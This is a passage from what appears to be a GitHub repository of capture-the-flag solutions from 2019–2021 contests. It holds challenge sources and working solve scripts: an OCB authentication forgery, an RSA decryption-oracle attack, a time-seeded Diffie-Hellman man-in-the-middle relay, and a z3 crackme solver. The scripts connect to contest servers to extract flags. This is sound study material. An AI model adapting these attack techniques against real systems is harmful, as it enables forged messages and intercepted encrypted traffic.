├── 2019-BambooFox ├── How2decompyle │ ├── decompyle.py │ └── solve.py ├── Move_or_not │ ├── pro │ └── solve.sh ├── Oil_Circuit_Breaker │ ├── ocb.py │ ├── server.py │ └── solve.py └── oracle │ ├── server.py │ └── solve.py ├── 2019-CTFZone ├── M394Dr1V3_cr4cKM3 │ ├── m394Dr1V3_cr4cKM3.bin │ └── solve.py └── MITM │ ├── solve │ ├── solve.c │ ├── solve.py │ └── src │ ├── AESCTR.c │ ├── AESCTR.h │ ├── DHE_mpz.c │ ├── DHE_mpz.h │ ├── MessageAuth.c │ ├── MessageAuth.h │ ├── client.c │ └── server.c ├── 2019-GoogleCTF ├── Quantum_Key_Distribution │ ├── enc.key │ ├── server.py │ ├── solve.py │ └── solve.sh └── cellular_automata │ ├── enc.key │ ├── solve.py │ ├── solve.sh │ ├── test.key │ └── test.sh ├── 2019-RealWorld └── bank │ ├── multi-schnorr.py │ ├── schnorr.py │ ├── schnorr3.py │ └── solve.py ├── 2019-hxp-36C3 └── peerreviewed │ ├── crypto.sage │ ├── intercepted.txt │ └── solve.sage ├── 2020-AeroCTF ├── Navigation_Journal │ ├── ld-2.23.so │ ├── libc.so.6 │ ├── nav_journal │ └── solve.py ├── Password_Keeper │ ├── ld-linux-x86-64.so.2 │ ├── libc.so.6 │ ├── passkeeper │ └── solve.py ├── Ticket_Storage │ ├── ld-linux-x86-64.so.2 │ ├── libc.so.6 │ ├── solve.py │ └── ticket_storage └── rewarmup │ ├── rewarmup │ └── solve.py ├── 2020-CONFidence ├── Borken_Counter │ ├── counter │ ├── out.txt │ └── solve.py └── Stuck_in_the_past │ ├── solve.py │ └── stuck_in_the_past.exe ├── 2020-HackIM ├── Dark_Honya │ ├── challenge │ ├── ld-2.23.so │ ├── libc-2.23.so │ └── solve.py ├── RockPaperScissors │ ├── rps.py │ └── solve.py ├── ayyMessage │ ├── message.txt │ ├── rsapubkey.pem │ ├── server.py │ └── solve.py ├── chocolate-chip │ ├── libc.so.6 │ ├── main │ └── solve.py └── returminator │ ├── blob │ ├── deploy.py │ ├── main │ └── solve.py ├── 2020-MidnightSun ├── Verifier │ └── solve.py ├── pyBonHash │ ├── hash.txt │ ├── pybonhash.cpython-36.py │ ├── pybonhash.cpython-36.pyc │ └── solve.py └── rsa_yay │ ├── chall.txt │ └── solve.py ├── 2020-PlaidCTF ├── sidhe │ ├── pow.py │ ├── run.sh │ ├── server.sage │ └── solve.sage └── stegasaurus_scratch │ ├── Makefile │ ├── run.sh │ ├── solve.lua │ ├── solve.py │ └── stegasaurus.c ├── 2020-SpamAndFlags ├── OTS │ └── solve.py └── Shor │ └── solve.py ├── 2020-TAMUctf ├── B64DECODER │ ├── b64decoder │ ├── ld-linux.so.2 │ ├── libc.so.6 │ └── solve.py ├── BLIND │ └── solve.py ├── GUNZIP_AS_A_SERVICE │ ├── gunzipasaservice │ └── solve.py ├── JUST_BC │ ├── just-bc.bin │ ├── just-bc.o │ ├── just-bc.s │ └── libstd-c32b051c3aafd36c.so ├── LEANING_TOWER │ ├── program.exe │ └── solve.py └── SPLATTER_CALC │ ├── solve.py │ └── splatter-calc ├── 2020-zer0pts ├── Hobbit │ ├── bzImage │ ├── chall.hbt │ ├── hobbit.ko │ ├── rootfs.cpio │ ├── solve.py │ └── start.sh ├── diylist │ ├── chall │ ├── ld-2.27.so │ ├── libc-2.27.so │ ├── libdiylist.so │ ├── solve.py │ └── src │ │ ├── diylist.c │ │ ├── diylist.h │ │ └── main.c ├── easy_strcmp │ ├── chall │ └── solve.py ├── syscall_kit │ ├── chall │ ├── libc.so.6 │ ├── solve.py │ └── src │ │ └── main.cpp └── wysinwyg │ ├── solve.py │ └── wysinwyg ├── 2021-WHITCON └── finger_snap │ ├── chall │ ├── output │ └── solve.py └── README.md /2019-BambooFox/How2decompyle/decompyle.py: -------------------------------------------------------------------------------- 1 | # Python bytecode 2.7 (62211) 2 | # Embedded file name: decompyle.py 3 | # Compiled at: 2019-09-22 20:18:03 4 | # Decompiled by https://python-decompiler.com 5 | import string 6 | restrictions = [ 7 | 'uudcjkllpuqngqwbujnbhobowpx_kdkp_', 8 | 'f_negcqevyxmauuhthijbwhpjbvalnhnm', 9 | 'dsafqqwxaqtstghrfbxzp_x_xo_kzqxck', 10 | 'mdmqs_tfxbwisprcjutkrsogarmijtcls', 11 | 'kvpsbdddqcyuzrgdomvnmlaymnlbegnur', 12 | 'oykgmfa_cmroybxsgwktlzfitgagwxawu', 13 | 'ewxbxogihhmknjcpbymdxqljvsspnvzfv', 14 | 'izjwevjzooutelioqrbggatwkqfcuzwin', 15 | 'xtbifb_vzsilvyjmyqsxdkrrqwyyiu_vb', 16 | 'watartiplxa_ktzn_ouwzndcrfutffyzd', 17 | 'rqzhdgfhdnbpmomakleqfpmxetpwpobgj', 18 | 'qggdzxprwisr_vkkipgftuvhsizlc_pbz', 19 | 'jerzhlnsegcaqzathfpuufwunakdtceqw', 20 | 'lbvlyyrugffgrwo_v_zrqvqszchqrrljq', 21 | 'aiwuuhzbszvfpidwwkl_wynlujbsbhfox', 22 | 'vmhrizxtiegxdxsqcdoiyxkffloudwtxg', 23 | 'tffjnabob_jbf_qiszdsemczghnjysmah', 24 | 'zrqkppvynlkelnevngwlkhgaputhoagtt', 25 | 'nl_oojyafwoqccbedijmigpedkdzglq_f', 26 | 'cksy_skctjlyxktuzchvstunyvcvabomc', 27 | 'ppcxleeguvhvhengmvac_bykhzqohjuei', 28 | '_clmaicjrrzhwd_fescyaejtbyefxyihy', 29 | 'hhopvwsmjtpjiffzatyhjrev_dwnsidyo', 30 | 'sjevtrmkkk_zjalxrxfovjsbcxjx_pskp', 31 | 'gnynwuuqypddbsylparpcczqimimqmvdl', 32 | 'bxitcmhnmanwuhvjxnqeoiimlegrmkjra'] 33 | capital = [ 34 | 0, 4, 9, 19, 23, 26] 35 | flag = raw_input('Please tell me something : ').lower() 36 | flag = flag.lower() 37 | if len(flag) != len(restrictions[0]): 38 | print 'No......You are wrong orzzzzz' 39 | exit(0) 40 | for f in range(len(flag)): 41 | for r in restrictions: 42 | if flag[f] not in string.lowercase + '_' or flag[f] == r[f]: 43 | print 'No......You are wrong orzzzzzzzzzzzz' 44 | exit(0) 45 | 46 | cap_flag = '' 47 | for f in range(len(flag)): 48 | if f in capital: 49 | cap_flag += flag[f].upper() 50 | else: 51 | cap_flag += flag[f] 52 | 53 | print 'Yeah, you got it !\nBambooFox{' + cap_flag + '}\n' 54 | -------------------------------------------------------------------------------- /2019-BambooFox/How2decompyle/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | import string 3 | 4 | 5 | restrictions = [ 6 | 'uudcjkllpuqngqwbujnbhobowpx_kdkp_', 7 | 'f_negcqevyxmauuhthijbwhpjbvalnhnm', 8 | 'dsafqqwxaqtstghrfbxzp_x_xo_kzqxck', 9 | 'mdmqs_tfxbwisprcjutkrsogarmijtcls', 10 | 'kvpsbdddqcyuzrgdomvnmlaymnlbegnur', 11 | 'oykgmfa_cmroybxsgwktlzfitgagwxawu', 12 | 'ewxbxogihhmknjcpbymdxqljvsspnvzfv', 13 | 'izjwevjzooutelioqrbggatwkqfcuzwin', 14 | 'xtbifb_vzsilvyjmyqsxdkrrqwyyiu_vb', 15 | 'watartiplxa_ktzn_ouwzndcrfutffyzd', 16 | 'rqzhdgfhdnbpmomakleqfpmxetpwpobgj', 17 | 'qggdzxprwisr_vkkipgftuvhsizlc_pbz', 18 | 'jerzhlnsegcaqzathfpuufwunakdtceqw', 19 | 'lbvlyyrugffgrwo_v_zrqvqszchqrrljq', 20 | 'aiwuuhzbszvfpidwwkl_wynlujbsbhfox', 21 | 'vmhrizxtiegxdxsqcdoiyxkffloudwtxg', 22 | 'tffjnabob_jbf_qiszdsemczghnjysmah', 23 | 'zrqkppvynlkelnevngwlkhgaputhoagtt', 24 | 'nl_oojyafwoqccbedijmigpedkdzglq_f', 25 | 'cksy_skctjlyxktuzchvstunyvcvabomc', 26 | 'ppcxleeguvhvhengmvac_bykhzqohjuei', 27 | '_clmaicjrrzhwd_fescyaejtbyefxyihy', 28 | 'hhopvwsmjtpjiffzatyhjrev_dwnsidyo', 29 | 'sjevtrmkkk_zjalxrxfovjsbcxjx_pskp', 30 | 'gnynwuuqypddbsylparpcczqimimqmvdl', 31 | 'bxitcmhnmanwuhvjxnqeoiimlegrmkjra'] 32 | 33 | capital = [0, 4, 9, 19, 23, 26] 34 | 35 | flag = '' 36 | for i in range(len(restrictions[0])): 37 | restriction = '' 38 | for r in restrictions: 39 | restriction += r[i] 40 | 41 | for ch in string.ascii_lowercase + '_': 42 | if ch not in restriction: 43 | flag += ch 44 | 45 | cap_flag = '' 46 | for i in range(len(flag)): 47 | if i in capital: 48 | cap_flag += flag[i].upper() 49 | else: 50 | cap_flag += flag[i] 51 | 52 | print('BambooFox{{{}}}'.format(cap_flag)) 53 | -------------------------------------------------------------------------------- /2019-BambooFox/Move_or_not/pro: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ironore15/ctf/ad0df2e3e7e1f0b5fcc3bcb6e24bb1b05510b83d/2019-BambooFox/Move_or_not/pro -------------------------------------------------------------------------------- /2019-BambooFox/Move_or_not/solve.sh: -------------------------------------------------------------------------------- 1 | (echo "98416"; echo "50") | gdb ./pro -ex "set print elements 0" -ex "b *0x555555554000 + 0x8E2" -ex "r" -ex "x/s 0x555555554000 + 0x201100" | grep "BambooFox" 2 | -------------------------------------------------------------------------------- /2019-BambooFox/Oil_Circuit_Breaker/ocb.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from Crypto.Cipher import AES 3 | from os import urandom 4 | 5 | BLOCKSIZE = 16 6 | 7 | 8 | class Block: 9 | def __init__(self, data=b''): 10 | self.data = data 11 | 12 | @classmethod 13 | def random(cls, size): 14 | return cls(urandom(size)) 15 | 16 | @classmethod 17 | def len(cls, n): 18 | return cls(int(n * 8).to_bytes(BLOCKSIZE, 'big')) 19 | 20 | @classmethod 21 | def zero(cls, size=BLOCKSIZE): 22 | return cls(int(0).to_bytes(size, 'big')) 23 | 24 | def double(self): 25 | assert(len(self.data) == BLOCKSIZE) 26 | x = int.from_bytes(self.data, 'big') 27 | n = BLOCKSIZE * 8 28 | mask = (1 << n) - 1 29 | if x & (1 << (n - 1)): 30 | x = ((x << 1) & mask) ^ 0b10000111 31 | else: 32 | x = (x << 1) & mask 33 | return Block(x.to_bytes(BLOCKSIZE, 'big')) 34 | 35 | def half(self): 36 | assert(len(self.data) == BLOCKSIZE) 37 | x = int.from_bytes(self.data, 'big') 38 | n = BLOCKSIZE * 8 39 | if x & 1: 40 | x = ((x ^ 0b10000111) >> 1) ^ (1 << (n - 1)) 41 | else: 42 | x = x >> 1 43 | return Block(x.to_bytes(BLOCKSIZE, 'big')) 44 | 45 | def hex(self): 46 | return self.data.hex() 47 | 48 | def size(self): 49 | return len(self.data) 50 | 51 | def blocksize(self): 52 | return len(self.data) // BLOCKSIZE + (len(self.data) % BLOCKSIZE > 0) 53 | 54 | def msb(self, n): 55 | return Block(self.data[:n]) 56 | 57 | def lsb(self, n): 58 | return Block(self.data[-n:]) 59 | 60 | def __or__(self, other): 61 | return Block(self.data + other.data) 62 | 63 | def __xor__(self, other): 64 | assert(len(self.data) == len(other.data)) 65 | return Block(bytes([x ^ y for x, y in zip(self.data, other.data)])) 66 | 67 | def __eq__(self, other): 68 | return self.data == other.data 69 | 70 | def __getitem__(self, key): 71 | return Block(self.data[key * BLOCKSIZE:(key + 1) * BLOCKSIZE]) 72 | 73 | 74 | def bytes_block_bytes(func): 75 | def wrapper(*args): 76 | args_new = [] 77 | for arg in args: 78 | if type(arg) is bytes: 79 | args_new.append(Block(arg)) 80 | else: 81 | args_new.append(arg) 82 | 83 | results = func(*args_new) 84 | 85 | results_new = [] 86 | for result in results: 87 | if type(result) is Block: 88 | results_new.append(result.data) 89 | else: 90 | results_new.append(result) 91 | 92 | return tuple(results_new) 93 | return wrapper 94 | 95 | 96 | class OCB: 97 | def __init__(self, key): 98 | self.aes = AES.new(key, AES.MODE_ECB) 99 | 100 | def e(self, x): 101 | y = Block(self.aes.encrypt(x.data)) 102 | return y 103 | 104 | def d(self, y): 105 | x = Block(self.aes.decrypt(y.data)) 106 | return x 107 | 108 | @bytes_block_bytes 109 | def encrypt(self, N, M): 110 | L = self.e(N) 111 | 112 | C = Block() 113 | S = Block.zero() 114 | for i in range(M.blocksize()): 115 | L = L.double() 116 | if i == M.blocksize() - 1: 117 | pad = self.e(Block.len(M[i].size()) ^ L) 118 | C |= pad.msb(M[i].size()) ^ M[i] 119 | S ^= pad ^ (C[i] | Block.zero(BLOCKSIZE - M[i].size())) 120 | else: 121 | C |= self.e(M[i] ^ L) ^ L 122 | S ^= M[i] 123 | 124 | L = L.double() ^ L 125 | T = self.e(S ^ L) 126 | 127 | return C, T 128 | 129 | @bytes_block_bytes 130 | def decrypt(self, N, C, T): 131 | L = self.e(N) 132 | 133 | M = Block() 134 | S = Block.zero() 135 | for i in range(C.blocksize()): 136 | L = L.double() 137 | if i == C.blocksize() - 1: 138 | pad = self.e(Block.len(C[i].size()) ^ L) 139 | M |= pad.msb(C[i].size()) ^ C[i] 140 | S ^= pad ^ (C[i] | Block.zero(BLOCKSIZE - C[i].size())) 141 | else: 142 | M |= self.d(C[i] ^ L) ^ L 143 | S ^= M[i] 144 | 145 | L = L.double() ^ L 146 | if T == self.e(S ^ L): 147 | return True, M 148 | else: 149 | return False, None 150 | -------------------------------------------------------------------------------- /2019-BambooFox/Oil_Circuit_Breaker/server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from ocb import OCB 3 | from os import urandom 4 | 5 | encrypt_nonces = [] 6 | decrypt_nonces = [] 7 | 8 | def getData(text): 9 | data = input(f'{text} = ').strip() 10 | return bytes.fromhex(data) 11 | 12 | def sendData(text, data): 13 | if type(data) is bytes or type(data) is bytearray: 14 | print(f'{text} = {data.hex()}') 15 | else: 16 | print(f'{text} = {data}') 17 | 18 | def encrypt(ocb): 19 | N = getData('nonce') 20 | M = getData('plain') 21 | 22 | if b'giveme flag.txt' in M: 23 | print('[hacker detected] forbidden words') 24 | exit() 25 | 26 | if N in encrypt_nonces: 27 | print('[hacker detected] nonce repeating') 28 | exit() 29 | encrypt_nonces.append(N) 30 | 31 | C, T = ocb.encrypt(N, M) 32 | 33 | sendData('cipher', C) 34 | sendData('tag', T) 35 | 36 | def decrypt(ocb): 37 | N = getData('nonce') 38 | C = getData('cipher') 39 | T = getData('tag') 40 | 41 | if N in decrypt_nonces: 42 | print('[hacker detected] nonce repeating') 43 | exit() 44 | decrypt_nonces.append(N) 45 | 46 | auth, M = ocb.decrypt(N, C, T) 47 | 48 | sendData('auth', auth) 49 | if auth: 50 | sendData('plain', M) 51 | 52 | def execute(ocb): 53 | N = getData('nonce') 54 | C = getData('cipher') 55 | T = getData('tag') 56 | 57 | auth, M = ocb.decrypt(N, C, T) 58 | 59 | sendData('auth', auth) 60 | if auth: 61 | if M == b'giveme flag.txt': 62 | with open('./flag.txt') as f: 63 | print(f.read()) 64 | elif M == b'giveme shit.txt': 65 | print('shit') 66 | else: 67 | print('[unknown command]') 68 | 69 | def menu(): 70 | print('1) Encrypt') 71 | print('2) Decrypt') 72 | print('3) Execute') 73 | print('4) Exit') 74 | 75 | def main(): 76 | key = urandom(16) 77 | ocb = OCB(key) 78 | encrypt_token = 2 79 | decrypt_token = 1 80 | while True: 81 | menu() 82 | option = input('> ') 83 | if option == '1': 84 | if encrypt_token > 0: 85 | encrypt(ocb) 86 | encrypt_token -= 1 87 | else: 88 | print('[not enough token]') 89 | elif option == '2': 90 | if decrypt_token > 0: 91 | decrypt(ocb) 92 | decrypt_token -= 1 93 | else: 94 | print('[not enough token]') 95 | elif option == '3': 96 | execute(ocb) 97 | else: 98 | return 99 | 100 | main() 101 | -------------------------------------------------------------------------------- /2019-BambooFox/Oil_Circuit_Breaker/solve.py: -------------------------------------------------------------------------------- 1 | from ocb import Block, BLOCKSIZE 2 | from string import hexdigits 3 | import pwn 4 | 5 | 6 | def getData(text): 7 | p.recvuntil('{:s} = '.format(text)) 8 | data = p.recvline().strip().decode() 9 | if all(c in hexdigits for c in data): 10 | return Block(bytes.fromhex(data)) 11 | return data 12 | 13 | 14 | def sendData(text, data): 15 | p.recvuntil('{:s} = '.format(text)) 16 | if isinstance(data, Block): 17 | p.sendline(data.hex()) 18 | else: 19 | p.sendline(data) 20 | 21 | 22 | def menu(i): 23 | p.recvuntil('4) Exit\n') 24 | p.sendline(str(i)) 25 | 26 | 27 | def encrypt(nonce, plain): 28 | menu(1) 29 | sendData('nonce', nonce) 30 | sendData('plain', plain) 31 | 32 | cipher = getData('cipher') 33 | tag = getData('tag') 34 | return cipher, tag 35 | 36 | 37 | def decrypt(nonce, cipher, tag, exploit=False): 38 | menu(3 if exploit else 2) 39 | sendData('nonce', nonce) 40 | sendData('cipher', cipher) 41 | sendData('tag', tag) 42 | 43 | auth = getData('auth') == 'True' 44 | plain = getData('plain') if auth and not exploit else None 45 | return auth, plain 46 | 47 | 48 | pwn.context.log_level = 'debug' 49 | p = pwn.remote('34.82.101.212', 20000) 50 | 51 | target = b'giveme flag.txt' 52 | 53 | N1 = Block.random(BLOCKSIZE) 54 | M1 = Block.len(len(target)) 55 | M1 |= Block.len(BLOCKSIZE) 56 | M1 |= Block.random(BLOCKSIZE) 57 | 58 | C1, T1 = encrypt(N1, M1) 59 | 60 | C2 = C1[0] 61 | C2 |= M1[0] ^ C1[1] ^ Block.len(BLOCKSIZE) 62 | T2 = M1[2] ^ C1[2] 63 | 64 | auth, M2 = decrypt(N1, C2, T2) 65 | 66 | L = M1[0] ^ M2[1] ^ Block.len(BLOCKSIZE) 67 | L = L.half().half() 68 | 69 | X = M1[1] ^ L.double().double() 70 | Y = C1[1] ^ L.double().double() 71 | 72 | N3 = X 73 | 74 | M3 = Block(target) | (C1[0] ^ L.double()).lsb(1) 75 | M3 ^= Y.double() 76 | M3 ^= L.double().double() ^ L.double() 77 | 78 | M3 |= Block.random(BLOCKSIZE) 79 | 80 | C3, T3 = encrypt(N3, M3) 81 | 82 | C = C1[0] ^ L.double() ^ Block(target.ljust(16, b'\x00')) 83 | C = C.msb(len(target)) 84 | T = C3[0] ^ Y.double() 85 | 86 | decrypt(N1, C, T, exploit=True) 87 | 88 | flag = p.recvline().strip().decode() 89 | p.close() 90 | 91 | pwn.log.info(flag) 92 | 93 | # BAMBOOFOX{IThOUgHtitWAspRoVaBles3cuRE} 94 | -------------------------------------------------------------------------------- /2019-BambooFox/oracle/server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from Crypto.Util.number import * 3 | 4 | with open('flag', 'rb') as f: 5 | flag = int.from_bytes(f.read(), 'big') 6 | 7 | def genkeys(): 8 | e = 65537 9 | while True: 10 | p, q = getPrime(512), getPrime(512) 11 | n, phi = p * q, (p - 1) * (q - 1) 12 | if GCD(e, phi) == 1: 13 | d = inverse(e, phi) 14 | return n, e, d 15 | 16 | def menu(): 17 | print('1) Info') 18 | print('2) Decrypt') 19 | print('3) Exit') 20 | 21 | def main(): 22 | n, e, d = genkeys() 23 | 24 | while True: 25 | menu() 26 | option = input('> ') 27 | if option == '1': 28 | c = pow(flag, e, n) 29 | print(f'c = {c}') 30 | print(f'n = {n}') 31 | elif option == '2': 32 | c = int(input('c = ')) 33 | m = pow(c, d, n) 34 | print(f'm = {m % 3}') 35 | else: 36 | return 37 | 38 | main() 39 | -------------------------------------------------------------------------------- /2019-BambooFox/oracle/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | from Crypto.Util.number import long_to_bytes 3 | import pwn 4 | 5 | 6 | def menu(i): 7 | p.recvuntil('3) Exit\n') 8 | p.sendline(str(i)) 9 | 10 | 11 | def oracle(c): 12 | menu(2) 13 | p.recvuntil('c = ') 14 | p.sendline(str(c)) 15 | p.recvuntil('m = ') 16 | return int(p.recvline().strip()) 17 | 18 | 19 | # pwn.context.log_level = 'debug' 20 | p = pwn.remote('34.82.101.212', 20001) 21 | 22 | menu(1) 23 | p.recvuntil('c = ') 24 | c = int(p.recvline().strip()) 25 | p.recvuntil('n = ') 26 | n = int(p.recvline().strip()) 27 | 28 | low = 0 29 | high = n - 1 30 | count = 1 31 | 32 | # To optimize server query 33 | # Estimated flag length == 23 34 | # log(2 ** (1024 - 8 * 23), 3) == 530 35 | for i in range(530): 36 | high = high // 3 37 | count += 1 38 | 39 | while low < high: 40 | if low != 0: 41 | pwn.log.info(long_to_bytes(low)) 42 | mid1, mid2 = (2 * low + high) // 3, (low + 2 * high) // 3 43 | 44 | r = oracle((c * pow(3, 65537 * count, n)) % n) 45 | count += 1 46 | 47 | if r == 0: 48 | low, high = low, mid1 49 | elif r == 3 - n % 3: 50 | low, high = mid1, mid2 51 | elif r == n % 3: 52 | low, high = mid2, high 53 | 54 | p.close() 55 | 56 | flag = long_to_bytes(low).decode() 57 | flag = flag[:-1] + '}' # To match flag format 58 | pwn.log.info(flag) 59 | 60 | # BAMBOOFOX{SimPlE0RACl3} 61 | -------------------------------------------------------------------------------- /2019-CTFZone/M394Dr1V3_cr4cKM3/m394Dr1V3_cr4cKM3.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ironore15/ctf/ad0df2e3e7e1f0b5fcc3bcb6e24bb1b05510b83d/2019-CTFZone/M394Dr1V3_cr4cKM3/m394Dr1V3_cr4cKM3.bin -------------------------------------------------------------------------------- /2019-CTFZone/M394Dr1V3_cr4cKM3/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | import z3 3 | 4 | 5 | flag = [z3.BitVec('flag[{}]'.format(i), 8) for i in range(16)] 6 | 7 | s = z3.Solver() 8 | 9 | for i in range(16): 10 | s.add(flag[i] >= 0x30) 11 | s.add(flag[i] <= 0x5A) 12 | 13 | s.add(0x4F * flag[0] + 0x28 * flag[1] + 0x04 * flag[2] + 0x1C * flag[3] == 0xF7) 14 | s.add(0x25 * flag[0] + 0x3F * flag[1] + 0x05 * flag[2] + 0x3C * flag[3] == 0x2F) 15 | s.add(0x60 * flag[0] + 0x40 * flag[1] + 0x5E * flag[2] + 0x08 * flag[3] == 0x02) 16 | s.add(0x3B * flag[0] + 0x01 * flag[1] + 0x4E * flag[2] + 0x10 * flag[3] == 0xB6) 17 | 18 | s.add(0x4F * flag[4] + 0x28 * flag[5] + 0x04 * flag[6] + 0x1C * flag[7] == 0xB8) 19 | s.add(0x25 * flag[4] + 0x3F * flag[5] + 0x05 * flag[6] + 0x3C * flag[7] == 0xFD) 20 | s.add(0x60 * flag[4] + 0x40 * flag[5] + 0x5E * flag[6] + 0x08 * flag[7] == 0x18) 21 | s.add(0x3B * flag[4] + 0x01 * flag[5] + 0x4E * flag[6] + 0x10 * flag[7] == 0x8F) 22 | 23 | s.add(0x4F * flag[8] + 0x28 * flag[9] + 0x04 * flag[10] + 0x1C * flag[11] == 0x3E) 24 | s.add(0x25 * flag[8] + 0x3F * flag[9] + 0x05 * flag[10] + 0x3C * flag[11] == 0xB8) 25 | s.add(0x60 * flag[8] + 0x40 * flag[9] + 0x5E * flag[10] + 0x08 * flag[11] == 0x90) 26 | s.add(0x3B * flag[8] + 0x01 * flag[9] + 0x4E * flag[10] + 0x10 * flag[11] == 0xE0) 27 | 28 | s.add(0x4F * flag[12] + 0x28 * flag[13] + 0x04 * flag[14] + 0x1C * flag[15] == 0xCF) 29 | s.add(0x25 * flag[12] + 0x3F * flag[13] + 0x05 * flag[14] + 0x3C * flag[15] == 0x85) 30 | s.add(0x60 * flag[12] + 0x40 * flag[13] + 0x5E * flag[14] + 0x08 * flag[15] == 0xCC) 31 | s.add(0x3B * flag[12] + 0x01 * flag[13] + 0x4E * flag[14] + 0x10 * flag[15] == 0x41) 32 | 33 | s.check() 34 | m = s.model() 35 | 36 | key = '' 37 | for i in range(16): 38 | key += chr(m[flag[i]].as_long()) 39 | 40 | print(key) 41 | 42 | # ctfzone{0mg_it$fu11_0f_f1ags_lo1!} 43 | -------------------------------------------------------------------------------- /2019-CTFZone/MITM/solve: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ironore15/ctf/ad0df2e3e7e1f0b5fcc3bcb6e24bb1b05510b83d/2019-CTFZone/MITM/solve -------------------------------------------------------------------------------- /2019-CTFZone/MITM/solve.c: -------------------------------------------------------------------------------- 1 | // gcc solve.c -o solve -lgmp 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | 10 | void generate_private_key(mpz_t priv_key) { 11 | gmp_randstate_t state; 12 | uint32_t seed; 13 | seed = time(NULL); 14 | gmp_randinit_default(state); 15 | gmp_randseed_ui(state, seed); 16 | mpz_urandomb(priv_key, state, 349); 17 | mpz_setbit(priv_key, 349); 18 | gmp_randclear(state); 19 | } 20 | 21 | 22 | unsigned char *get_bignum_to_str(mpz_t number) { 23 | unsigned char *buffer; 24 | buffer = malloc(mpz_sizeinbase(number, 16) + 1); 25 | if (buffer == NULL) { 26 | return NULL; 27 | } 28 | memset(buffer, 0, mpz_sizeinbase(number, 16) + 1); 29 | mpz_get_str(buffer, 16, number); 30 | return buffer; 31 | } 32 | 33 | 34 | int main(int argc, char **argv, char **envp) 35 | { 36 | mpz_t private_key; 37 | mpz_init(private_key); 38 | generate_private_key(private_key); 39 | unsigned char *buffer = get_bignum_to_str(private_key); 40 | puts(buffer); 41 | free(buffer); 42 | return 0; 43 | } 44 | -------------------------------------------------------------------------------- /2019-CTFZone/MITM/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | from Crypto.Cipher import AES 3 | from Crypto.Hash import SHA256 4 | from Crypto.Util.number import long_to_bytes 5 | import pwn 6 | import re 7 | 8 | 9 | HOST = 'crypto-mitm.ctfz.one' 10 | 11 | client = pwn.remote(HOST, 3338) 12 | server = pwn.remote(HOST, 3339) 13 | 14 | length = pwn.u16(client.recvn(2)) 15 | client.recvn(length) 16 | 17 | server.send(pwn.p16(37)) 18 | server.send('ClientHello:SHA_AES_CTR_RSA_DHE_2048\n') 19 | 20 | length = pwn.u16(server.recvn(2)) 21 | data = server.recvn(length) 22 | 23 | s = pwn.process('./solve') 24 | private_key = int(s.recvline().strip(), 16) 25 | 26 | regex = 'ServerHello:' 27 | regex += 'p=(?P

[0-9a-f]+)\|' 28 | regex += 'g=(?P[0-9a-f]+)\|' 29 | regex += 'A=(?P[0-9a-f]+)\|' 30 | regex += 's=(?P[0-9a-f]+)\|' 31 | 32 | regex = re.compile(regex) 33 | m = regex.match(data.decode()) 34 | p = int(m.group('p'), 16) 35 | g = int(m.group('g'), 16) 36 | A = int(m.group('A'), 16) 37 | s = int(m.group('s'), 16) 38 | 39 | pwn.log.info('p: {}'.format(p)) 40 | pwn.log.info('g: {}'.format(g)) 41 | pwn.log.info('A: {}'.format(A)) 42 | pwn.log.info('s: {}'.format(s)) 43 | 44 | assert pow(g, private_key, p) == A 45 | 46 | pwn.log.info('a: {}'.format(private_key)) 47 | 48 | client.send(pwn.p16(length)) 49 | client.send(data) 50 | 51 | length = pwn.u16(client.recvn(2)) 52 | data = client.recvn(length) 53 | client.close() 54 | 55 | regex = 'OK:' 56 | regex += 'B=(?P[0-9a-f]+)\|' 57 | regex += 'nonce=(?P[0-9a-f]+)\|' 58 | 59 | regex = re.compile(regex) 60 | m = regex.match(data.decode()) 61 | B = int(m.group('B'), 16) 62 | counter = int(m.group('nonce'), 16) 63 | 64 | pwn.log.info('B: {}'.format(B)) 65 | pwn.log.info('counter: {}'.format(counter)) 66 | 67 | server.send(pwn.p16(length)) 68 | server.send(data) 69 | 70 | key = pow(B, private_key, p) 71 | secret_key = SHA256.new('{:x}'.format(key).encode()).digest() 72 | 73 | length = pwn.u16(server.recvn(2)) 74 | enc_flag = bytes.fromhex(server.recvn(length).decode()) 75 | 76 | server.close() 77 | 78 | 79 | def AES_CTR_decrypt(key, ctr, ciphertext): 80 | plaintext = b'' 81 | for i in range((len(ciphertext) + 15) // 16): 82 | nonce = long_to_bytes(ctr + i) 83 | block = ciphertext[16 * i:16 * i + 16] 84 | aes = AES.new(secret_key, AES.MODE_ECB) 85 | block = [b1 ^ b2 for b1, b2 in zip(aes.encrypt(nonce), block)] 86 | plaintext += bytes(block) 87 | return plaintext 88 | 89 | 90 | flag = AES_CTR_decrypt(secret_key, counter, enc_flag).decode() 91 | pwn.log.info(flag) 92 | 93 | # ctfzone{Remember_hacking_is_more_than_just_a_crime_It_is_a_survival_trait} 94 | -------------------------------------------------------------------------------- /2019-CTFZone/MITM/src/AESCTR.c: -------------------------------------------------------------------------------- 1 | #include "AESCTR.h" 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #define Nb 4 8 | #define Nk 8 9 | #define Nr 14 10 | #define AES_BLOCKLEN 16 11 | #define AES_KEYLEN 32 12 | #define AES_keyExpSize 240 13 | 14 | struct AES_ctx { 15 | uint8_t RoundKey[AES_keyExpSize]; 16 | uint8_t nonce[AES_BLOCKLEN]; 17 | }; 18 | 19 | typedef uint8_t state_t[4][4]; 20 | 21 | static const uint8_t sbox[256] = { 22 | 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 23 | 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 24 | 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 